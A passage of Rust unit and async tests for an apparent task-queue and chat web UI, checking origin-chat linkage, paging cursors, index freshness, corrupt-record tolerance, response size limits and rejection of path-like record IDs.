23550 let mut q = Question::new(
23551 reference.into(),
23552 node.into(),
23553 "seat".into(),
23554 "Question".into(),
23555 String::new(),
23556 vec![],
23557 );
23558 ui.questions.put(&mut q).unwrap();
23559 questions.push((q, expected, eligible));
23560 }
23561 for (node, reference, associated, eligible) in [
23562 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23563 (
23564 crate::reconcile::NODE,
23565 previous.runs[0].as_str(),
23566 false,
23567 true,
23568 ),
23569 ("implement", previous.id.as_str(), false, false),
23570 ] {
23571 let mut q = Question::new(
23572 reference.into(),
23573 node.into(),
23574 crate::reconcile::SEAT.into(),
23575 "Reconcile".into(),
23576 String::new(),
23577 vec![],
23578 );
23579 ui.questions.put(&mut q).unwrap();
23580 questions.push((q, associated, eligible));
23581 }
23582 let mut release = Question::new(
23583 "release-record".into(),
23584 crate::bump::NOTICE_NODE.into(),
23585 "release-watch".into(),
23586 "Release".into(),
23587 String::new(),
23588 vec![],
23589 );
23590 ui.questions.put(&mut release).unwrap();
23591 let watch = crate::release_watch::WatchState {
23592 question: Some(release.id.clone()),
23593 run: Some(previous.runs[0].clone()),
23594 held_task: Some(previous.id.clone()),
23595 ..Default::default()
23596 };
23597 let watch_dir = home.path().join("release-watch");
23598 std::fs::create_dir_all(&watch_dir).unwrap();
23599 let watch_path = watch_dir.join("watch.json");
23600 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23601 for batch in [
23603 Vec::new(),
23604 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23605 ] {
23606 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23607 assert!(watches.is_empty());
23608 }
23609 questions.push((release.clone(), true, false));
23610
23611 let views = questions_list(State(ui.clone())).await.unwrap().0;
23612 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23613 for (q, associated, eligible) in &questions {
23614 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23615 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23616 let expected = associated.then_some(chat.as_str());
23617 assert_eq!(
23618 view.origin_chat.as_deref(),
23619 expected,
23620 "{} {}",
23621 q.node,
23622 q.run
23623 );
23624 assert_eq!(origin.origin_chat.as_deref(), expected);
23625 assert_eq!(view.origin_chat_closed, *associated);
23626 assert_eq!(origin.origin_chat_closed, *associated);
23627 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23628 assert_eq!(origin.can_consult_chat, *eligible);
23629 }
23630 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23632 let link = crate::release_watch::WatchState {
23633 run,
23634 held_task,
23635 ..watch.clone()
23636 };
23637 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23638 let (tasks, talks, watches) =
23639 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23640 assert_eq!(
23641 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23642 .unwrap()
23643 .id,
23644 chat,
23645 );
23646 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23647 }
23648 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23649 let duplicate_path = watch_dir.join("duplicate.json");
23651 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23652 let (tasks, talks, watches) =
23653 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23654 assert!(
23655 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23656 .is_none()
23657 );
23658 std::fs::remove_file(duplicate_path).unwrap();
23659 let mut unrelated = Task::new(
23661 "other".into(),
23662 String::new(),
23663 PathBuf::from("/repo"),
23664 Source::Human,
23665 );
23666 unrelated.id = "unrelated-task".into();
23667 ui.queue.put(&mut unrelated).unwrap();
23668 let mut conflicting = watch.clone();
23669 conflicting.held_task = Some(unrelated.id);
23670 std::fs::write(
23671 watch_dir.join("conflict.json"),
23672 serde_json::to_vec(&conflicting).unwrap(),
23673 )
23674 .unwrap();
23675 let (tasks, talks, watches) =
23676 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23677 assert!(
23678 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23679 .is_none()
23680 );
23681 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23682 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23683 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23684 assert!(origin.origin_chat.is_none());
23685 assert!(!origin.origin_chat_closed);
23686 }
23687 }
23688
23689 #[test]
23690 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23691 let home = tempfile::tempdir().unwrap();
23692 let ui = delta_test_ui(home.path());
23693 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23694 for i in 0..1000 {
23695 let mut task = Task::new(
23696 "unrelated".into(),
23697 "instruction ".repeat(256),
23698 PathBuf::from("/repo"),
23699 Source::Human,
23700 );
23701 task.id = format!("history-{i:04}");
23702 ui.queue.put(&mut task).unwrap();
23703 let id = seed_talk_at(&ui.talks, &task.id, "open");
23704 let mut talk = ui.talks.get(&id).unwrap();
23705 talk.pending = "history ".repeat(256);
23706 ui.talks.put(&mut talk).unwrap();
23707 }
23708 let mut parent = Task::new(
23709 "parent".into(),
23710 "body".into(),
23711 PathBuf::from("/repo"),
23712 Source::Agent {
23713 run: chat_id.clone(),
23714 node: crate::queue::CHAT_NODE.into(),
23715 },
23716 );
23717 parent.id = "task-parent".into();
23718 parent.runs = vec!["run-parent".into()];
23719 ui.queue.put(&mut parent).unwrap();
23720 let mut child = Task::new(
23721 "child".into(),
23722 "body".into(),
23723 PathBuf::from("/repo"),
23724 Source::Human,
23725 );
23726 child.id = "task-child".into();
23727 child.runs = vec!["run-child".into()];
23728 child.followup = Some(crate::queue::FollowUp {
23729 run: "run-parent".into(),
23730 origin_task: Some(parent.id.clone()),
23731 pr: "https://example.invalid/pr/1".into(),
23732 findings: vec![],
23733 generation: 1,
23734 });
23735 ui.queue.put(&mut child).unwrap();
23736 let mut question = Question::new(
23737 child.id.clone(),
23738 crate::conduct::NODE.into(),
23739 "seat".into(),
23740 "Continue?".into(),
23741 String::new(),
23742 vec![],
23743 );
23744 let (tasks, talks, _watches) =
23745 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23746 assert_eq!(tasks.len(), 2);
23747 assert_eq!(talks.len(), 1);
23748 assert_eq!(
23749 ui.monitor.queue_index.lock().unwrap().reparsed,
23750 0,
23751 "exact ancestry bypasses the index"
23752 );
23753 assert_eq!(
23754 crate::consult::origin_talk(&tasks, &talks, &question)
23755 .unwrap()
23756 .id,
23757 chat_id
23758 );
23759 question.run = "run-child".into();
23760 question.node = "review".into();
23761 for origin_task in [Some(parent.id.clone()), None] {
23762 child.followup.as_mut().unwrap().origin_task = origin_task;
23763 ui.queue.put(&mut child).unwrap();
23764 let (tasks, talks, _watches) =
23765 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23766 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23767 let expected =
23768 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23769 .unwrap();
23770 assert_eq!(actual.id, expected.id);
23771 assert!(!actual.status.open());
23772 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23773 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23774 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23777 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23778 }
23779 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23780 ui.queue.put(&mut child).unwrap();
23781 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23782 let (tasks, talks, _watches) =
23783 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23784 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23785 child.origin_chat = Some(chat_id.clone());
23786 ui.queue.put(&mut child).unwrap();
23787 let (tasks, talks, _watches) =
23788 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23789 assert_eq!(
23790 crate::consult::origin_talk(&tasks, &talks, &question)
23791 .unwrap()
23792 .id,
23793 chat_id
23794 );
23795 let revision = question_record_revision(&question);
23796 question.abandon("settled elsewhere");
23797 assert_ne!(revision, question_record_revision(&question));
23798 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23799 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23800 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23801 let (tasks, talks, _watches) =
23802 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23803 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23804 }
23805
23806 #[test]
23807 fn list_cursors_freeze_membership_and_expire_explicitly() {
23808 let home = tempfile::tempdir().unwrap();
23809 let ui = delta_test_ui(home.path());
23810 std::fs::create_dir_all(ui.queue.root()).unwrap();
23811 for i in 0..40 {
23812 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23813 }
23814 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23815 assert_eq!(first.len(), STORE_PAGE_SIZE);
23816 let cursor = cursor.unwrap();
23817 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23818 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23819 let (second, _) = page_ids(
23820 &ui,
23821 false,
23822 PageQuery {
23823 before: Some(cursor.clone()),
23824 },
23825 )
23826 .unwrap();
23827 assert_eq!(second[0], "record-0023");
23828 assert!(second.iter().all(|id| !first.contains(id)));
23829 assert!(
23830 page_ids(
23831 &ui,
23832 true,
23833 PageQuery {
23834 before: Some(cursor.clone())
23835 }
23836 )
23837 .is_err()
23838 );
23839 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23840 assert_eq!(fresh[0], "record-9999");
23841 ui.monitor.list_walks.lock().unwrap().clear();
23842 assert!(
23843 page_ids(
23844 &ui,
23845 false,
23846 PageQuery {
23847 before: Some(cursor)
23848 }
23849 )
23850 .is_err()
23851 );
23852 }
23853
23854 #[tokio::test]
23855 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23856 let home = tempfile::tempdir().unwrap();
23857 let ui = delta_test_ui(home.path());
23858 let mut task = Task::new(
23859 "task".into(),
23860 "body".into(),
23861 PathBuf::from("/repo"),
23862 Source::Human,
23863 );
23864 ui.queue.put(&mut task).unwrap();
23865 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23866 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23867 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23868 let expected = parsed + usize::from(!cfg!(unix));
23869 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23870 task.status = crate::queue::TaskStatus::Held;
23871 ui.queue.put(&mut task).unwrap();
23872 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23873 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23874 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23875 ui.queue.put(&mut task).unwrap();
23876 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23877 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23878 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23879 }
23880
23881 #[tokio::test]
23882 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23883 let home = tempfile::tempdir().unwrap();
23884 let ui = delta_test_ui(home.path());
23885 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23886 let before = health(State(ui.clone())).await.unwrap().0;
23887 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23888 let after = health(State(ui)).await.unwrap().0;
23889 assert_ne!(before.notifications_rev, after.notifications_rev);
23890 assert_eq!(after.notifications_unread, 1);
23891 }
23892
23893 #[tokio::test]
23894 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23895 let home = tempfile::tempdir().unwrap();
23896 let ui = delta_test_ui(home.path());
23897 let queue = &ui.queue;
23898 let talks = &ui.talks;
23899 for i in 0..1000 {
23900 let id = format!("20261019-{i:06}-page");
23901 let mut task = Task::new(
23902 "task".into(),
23903 "instruction".repeat(100),
23904 PathBuf::from("/repo/magi"),
23905 Source::Human,
23906 );
23907 task.id = id.clone();
23908 if i == 0 {
23909 task.status = crate::queue::TaskStatus::Held;
23910 } else if i == 999 {
23911 task.status = crate::queue::TaskStatus::Blocked;
23912 task.blocked_by = vec!["20261019-000000-page".into()];
23913 }
23914 queue.put(&mut task).unwrap();
23915 seed_talk_at(talks, &id, "open");
23916 }
23917 let page = serde_json::to_value(
23918 queue_page(State(ui.clone()), Query(PageQuery::default()))
23919 .await
23920 .unwrap()
23921 .0,
23922 )
23923 .unwrap();
23924 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23925 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23926 assert!(
23927 !page["rows"][0]["stuck_roots"]
23928 .as_array()
23929 .unwrap()
23930 .is_empty()
23931 );
23932 let cursor = page["next"].as_str().unwrap();
23933 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23934 .as_str()
23935 .unwrap();
23936 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23938 let next = serde_json::to_value(
23939 queue_page(
23940 State(ui.clone()),
23941 Query(PageQuery {
23942 before: Some(cursor.into()),
23943 }),
23944 )
23945 .await
23946 .unwrap()
23947 .0,
23948 )
23949 .unwrap();
23950 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23951 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23952 let chats = serde_json::to_value(
23953 talks_page(State(ui.clone()), Query(PageQuery::default()))
23954 .await
23955 .unwrap()
23956 .0,
23957 )
23958 .unwrap();
23959 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23960 assert!(chats["rows"][0].get("pending").is_none());
23961 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23962 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23963 assert_eq!(counts["held"], 1);
23964 assert_eq!(counts["blocked"], 1);
23965 assert_eq!(counts["queued"], 997);
23966 }
23967
23968 #[test]
23969 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23970 let dir = tempfile::tempdir().unwrap();
23971 let ui = delta_test_ui(dir.path());
23972 let mut task = Task::new(
23973 "task".into(),
23974 "body".into(),
23975 PathBuf::from("/repo"),
23976 Source::Human,
23977 );
23978 task.runs = vec!["run-a".into()];
23979 ui.queue.put(&mut task).unwrap();
23980 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23981 task.runs = vec!["run-b".into()];
23982 let path = ui.queue.path_of(&task.id);
23983 let modified = path.metadata().unwrap().modified().unwrap();
23984 let replacement = path.with_extension("replacement");
23985 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23986 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23987 std::fs::write(&replacement, &bytes).unwrap();
23988 std::fs::File::options()
23989 .write(true)
23990 .open(&replacement)
23991 .unwrap()
23992 .set_times(std::fs::FileTimes::new().set_modified(modified))
23993 .unwrap();
23994 std::fs::rename(&replacement, &path).unwrap();
23995 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23996 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23997 std::fs::write(&path, "broken").unwrap();
23998 assert!(ui.find_task_for_run("run-b").is_err());
23999 std::fs::write(&path, bytes).unwrap();
24000 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24001 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24002 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24003 }
24004
24005 #[tokio::test]
24006 async fn conversation_core_is_independent_of_unreadable_related_history() {
24007 let home = tempfile::tempdir().unwrap();
24008 let ui = delta_test_ui(home.path());
24009 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24010 std::fs::create_dir_all(ui.queue.root()).unwrap();
24011 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24012 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24013 .await
24014 .unwrap();
24015 assert_eq!(core.talk.id, id);
24016 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24017 }
24018
24019 #[tokio::test]
24020 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24021 let home = tempfile::tempdir().unwrap();
24022 let ui = delta_test_ui(home.path());
24023 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24024 let mut run = RunState::new(
24025 PathBuf::from("/repo"),
24026 "main".into(),
24027 "01234567".into(),
24028 "Useful run".into(),
24029 Config::default(),
24030 );
24031 run.save_under(home.path()).unwrap();
24032 let mut task = Task::new(
24033 "Related".into(),
24034 "body".into(),
24035 PathBuf::from("/repo"),
24036 Source::Agent {
24037 run: talk_id.clone(),
24038 node: "chat".into(),
24039 },
24040 );
24041 task.runs = vec![run.id.clone()];
24042 ui.queue.put(&mut task).unwrap();
24043 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24044 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24045 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24046 assert!(
24047 run_detail(State(ui.clone()), Path(run.id.clone()))
24048 .await
24049 .is_ok()
24050 );
24051 assert!(
24052 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24053 .await
24054 .is_ok()
24055 );
24056 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24058 assert!(ui.find_task_for_run(&run.id).is_err());
24059 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24060 ui.queue.put(&mut task).unwrap();
24061 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24062 }
24063
24064 #[tokio::test]
24065 async fn conversation_sections_omit_large_task_instructions() {
24066 let home = tempfile::tempdir().unwrap();
24067 let ui = delta_test_ui(home.path());
24068 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24069 let mut task = Task::new(
24070 "filed task".into(),
24071 "large instruction ".repeat(65536),
24072 PathBuf::from("/repo"),
24073 Source::Agent {
24074 run: id.clone(),
24075 node: "chat".into(),
24076 },
24077 );
24078 ui.queue.put(&mut task).unwrap();
24079 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24080 assert_eq!(sections["tasks"][0]["id"], task.id);
24081 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24082 assert!(sections["tasks"][0].get("instruction").is_none());
24083 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24084 }
24085
24086 #[test]
24087 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24088 let home = tempfile::tempdir().unwrap();
24089 let talks = Talks::at(home.path().join("talks"));
24090 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24091 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24092 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24093 assert!(resolve_talk(&talks, "../outside").is_err());
24094 assert!(resolve_talk(&talks, "abcd").is_err());
24095 assert_eq!(
24096 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24097 "20261019-000001-abcd"
24098 );
24099 }
24100
24101 include!(concat!(
24102 env!("CARGO_MANIFEST_DIR"),
24103 "/tests/web_latency/baseline.rs"
24104 ));
24105
24106 include!(concat!(
24107 env!("CARGO_MANIFEST_DIR"),
24108 "/tests/web_latency/lists.rs"
24109 ));
24110
24111 #[tokio::test]
24112 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24113 async fn web_history_latency_measurement() {
24114 use std::time::Instant;
24115 let home = tempfile::tempdir().unwrap();
24116 let ui = delta_test_ui(home.path());
24117 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24118 let mut template = ui.talks.get(&id).unwrap();
24119 template.turns = serde_json::from_value(serde_json::json!([{
24120 "who": "operator", "body": "Show the accumulated work and its current status.",
24121 "at": Timestamp::now().to_string(),
24122 }]))
24123 .unwrap();
24124 std::fs::write(
24125 ui.talks.path_of(&id),
24126 serde_json::to_vec(&template).unwrap(),
24127 )
24128 .unwrap();
24129 let count = std::env::var("MAGI_BENCH_RECORDS")
24130 .ok()
24131 .and_then(|s| s.parse::<usize>().ok())
24132 .unwrap_or(1000);
24133 for i in 0..count {
24134 template.id = format!("20261019-{i:06}-history");
24135 template.pending = "history ".repeat(2048);
24136 std::fs::write(
24137 ui.talks.path_of(&template.id),
24138 serde_json::to_vec(&template).unwrap(),
24139 )
24140 .unwrap();
24141 let mut task = Task::new(
24142 "old task".into(),
24143 "instruction ".repeat(2048),
24144 PathBuf::from("/repo"),
24145 Source::Human,
24146 );
24147 task.id = format!("20261019-{i:06}-task");
24148 ui.queue.put(&mut task).unwrap();
24149 }
24150 for baseline in [true, false] {
24151 for clients in [1, 4] {
24152 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24153 let mut samples = Vec::new();
24154 for _ in 0..12 {
24155 let mut jobs = Vec::new();
24156 for _ in 0..clients {
24157 let ui = ui.clone();
24158 let id = id.clone();
24159 jobs.push(tokio::spawn(async move {
24160 let start = Instant::now();
24161 if baseline {
24162 let response =
24163 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24164 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24165 return (
24166 elapsed,
24167 elapsed,
24168 serde_json::to_vec(&response).unwrap().len(),
24169 );
24170 }
24171 let core = talk_core(State(ui.clone()), Path(id.clone()));
24172 let secondary = talk_sections(State(ui), Path(id));
24173 let (first, total) = tokio::join!(
24174 async {
24175 let value = core.await.unwrap().0;
24176 (
24177 start.elapsed().as_secs_f64() * 1000.0,
24178 serde_json::to_vec(&value).unwrap().len(),
24179 )
24180 },
24181 async {
24182 let value = secondary.await.unwrap().0;
24183 (
24184 start.elapsed().as_secs_f64() * 1000.0,
24185 serde_json::to_vec(&value).unwrap().len(),
24186 )
24187 }
24188 );
24189 (first.0, first.0.max(total.0), first.1 + total.1)
24190 }));
24191 }
24192 for job in jobs {
24193 samples.push(job.await.unwrap());
24194 }
24195 }
24196 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24197 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24198 first.sort_by(f64::total_cmp);
24199 total.sort_by(f64::total_cmp);
24200 let n = first.len();
24201 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24202 println!(
24203 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24204 first[n / 2],
24205 first[(n * 95 / 100).min(n - 1)],
24206 total[n / 2],
24207 total[(n * 95 / 100).min(n - 1)],
24208 samples[0].2
24209 );
24210 }
24211 }
24212 }
24213
24214 #[test]
24215 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24216 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24218 assert!(APP_JS.contains("function nextRunRequest(id)"));
24219 assert!(APP_JS.contains("function runShell(id, summary)"));
24220 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24221 assert!(APP_JS.contains("function taskShell(id, summary)"));
24222 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24223 }
24224}